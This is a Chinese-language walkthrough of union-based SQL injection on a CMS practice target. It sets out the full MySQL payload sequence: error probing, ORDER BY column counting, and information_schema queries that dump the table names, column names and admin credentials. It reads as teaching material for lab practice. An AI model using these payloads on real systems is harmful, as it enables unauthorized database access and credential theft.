目录
1、联合查询:
通过数据库的内容会回显到页面。利用union select 语句,该语句会同时执行两条select语句,来实现跨库,跨表查询。
必要条件:
1.两条select 语句查询结果具有相同的列数;
2.对应的列数据类型一致。
2、目标分析:
进入cms靶场,随机进入一个新闻,发现网址结构如下所示
此时我们可以尝试去更改id 值,看页面内容是否发生改变。
结果发现页面发生了回显,暗示可能存在联合查询漏洞。
尝试判断该数据库的类型和闭合方式。
?id=32'
// near ''' at line 1;
// 中间的单引号是SQL 语句的内容;
// 32没有出现在报错信息中,说明是数字型注入。
3、SQL 注入流程
库→表(tables)→列(columns)→数据。
得到数据库的类型和闭合方式后。
4、判断列数:
id=32 order by 1 // 正常
id=32 order by 10 // 正常
id=32 order by 20 // 不正常
id=32 order by 16 // 不正常
id=32 order by 15 // 正常
// order by 数字
// 通过多次尝试获取到select语句中有15列;
将所有列数进行输入,获取回显位置。
?id=-32 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 // 第一种
?id=32 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 // 第二种
// 将第一条select 语句的查询条件置为假,
5、获取管理员账密:
获取数据库 库名称:
?id=-32 UNION SELECT 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15
获取数据库 表名称:
一次性将所有表名
?id=-32 UNION SELECT 1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()
// group_concat 是针对查询结果进行聚合操作的 MySQL 函数。它用于将某个列的值连接成一个字符串,并返回聚合后的结果。
// hex() 将表名以16进制的格式进行输出,因为需要类型一致,所以选择16进制进行输出
// information_schema数据库是MySQL自带的,该数据表保存了MySQL服务器所有数据库的信息。
// where table_schema=database() --- 表示所查询的表名属于当前数据库
对回显的16进制编码进行解码。
得到该数据库下所有表名:
cms_article,
cms_category,
cms_file,
cms_friendlink,
cms_message,
cms_notice,
cms_page,
cms_users
查看cms_users表。
获取数据库 列名称:
一次性获取该表下所有列名:
?id=-32 UNION SELECT 1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'
对16进制编码进行解码:
获取到了username 和password
获取用户信息
?id=-32 UNION SELECT 1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users
// concat(str1, str2, ...)用于将多个字符串连接在一起,并返回连接后的结果。
// 0x3a 是[:] 的16进制代码。
对密码进行解码:
管理员账户:admin
管理员密码:123456